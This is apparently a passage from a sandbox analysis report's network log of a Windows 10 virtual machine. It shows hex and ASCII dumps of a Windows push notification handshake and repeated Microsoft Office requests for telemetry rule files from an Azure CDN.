2024-10-17 16:18:43 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-17 16:18:43 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 68 72 77 52 68 6c 31 62 69 55 71 6d 79 4a 74 72 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 63 61 31 35 34 61 66 64 39 62 37 31 32 31 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 30 37 42 76 63 41 41 77 6c 2f 59 63 7a 2f 77 2b 75 46 53 30 33 66 59 67 35 44 69 31 63 62 4c 6a 51 52 68 69 6c 31 6f 46 78 6c 6c 74 6b 67 69 75 6f 71 6d 33 63 67 79 4a 35 47 66 53 74 39 62 36 38 2b 36 34 47 65 32 30 69 75 36 42 68 44 4e 57 49 45 47 52 77 72 54 68 4c 4a 56 30 33 62 32 73 63 70 4e 53 4c 69 4b 4c 34 62 72 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: hrwRhl1biUqmyJtr.2Context: eca154afd9b7121f<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAa07BvcAAwl/Ycz/w+uFS03fYg5Di1cbLjQRhil1oFxlltkgiuoqm3cgyJ5GfSt9b68+64Ge20iu6BhDNWIEGRwrThLJV03b2scpNSLiKL4brW
2024-10-17 16:18:43 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 68 72 77 52 68 6c 31 62 69 55 71 6d 79 4a 74 72 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 63 61 31 35 34 61 66 64 39 62 37 31 32 31 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: hrwRhl1biUqmyJtr.3Context: eca154afd9b7121f<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-17 16:18:44 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-17 16:18:44 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 37 53 56 67 69 4c 44 32 4d 6b 47 71 2f 78 74 61 77 4c 34 5a 75 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 7SVgiLD2MkGq/xtawL4ZuQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	51115	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:44 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:44 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:44 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 038d01e8-201e-00aa-60d8-1e3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161844Z-16b659b44999mb85a5wquzbrz800000007rg00000000qetw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:44 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	51118	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:44 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:44 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:44 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: acf2a321-801e-0035-30bc-1f752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161844Z-r197bdfb6b46dlbhxh69g4rk5g0000000a30000000008yxt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:44 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	51174	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:44 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:44 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:44 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a227e-c01e-00a2-1cd8-1e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161844Z-16b659b4499sg56vuc9t9dmdq40000000byg00000000h09b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:44 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	51185	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:44 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:44 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:44 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 9657b123-301e-0099-06d8-1e6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161844Z-16b659b4499t9g2t855zkdgzd00000000ad000000000g5ge x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:44 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	51186	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:44 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:44 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:44 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: a7e9f50c-901e-005b-39d8-1e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161844Z-16b659b4499qzkzdaxyf40k2c000000008vg00000000tner x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:44 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	51225	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:45 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:45 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:45 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 246e0adf-d01e-0082-0f95-1fe489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161845Z-15b8d89586fmhkw4gksnr1w3ds00000003x0000000002d38 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:45 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	51224	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:45 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:45 UTC	564	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:45 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 474bc074-b01e-0002-67b0-201b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161845Z-15b8d89586fcvr6pym2snavm4w00000003u000000000f71q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-17 16:18:45 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	51292	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:45 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:45 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:45 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 10952a79-501e-007b-7ed8-1e5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161845Z-16b659b44999c8xwz4dbqvgykc0000000asg00000000v8ht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:45 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	51294	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:45 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:45 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:45 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: b1f36272-201e-0085-1fd8-1e34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161845Z-r197bdfb6b4qpk6v9629ad4b5s000000024g00000000135u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:45 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	51296	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:45 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:45 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:45 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: afc125f3-101e-0034-63d8-1e96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161845Z-16b659b4499gh2srh1fh903xkw00000009xg00000000n4he x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
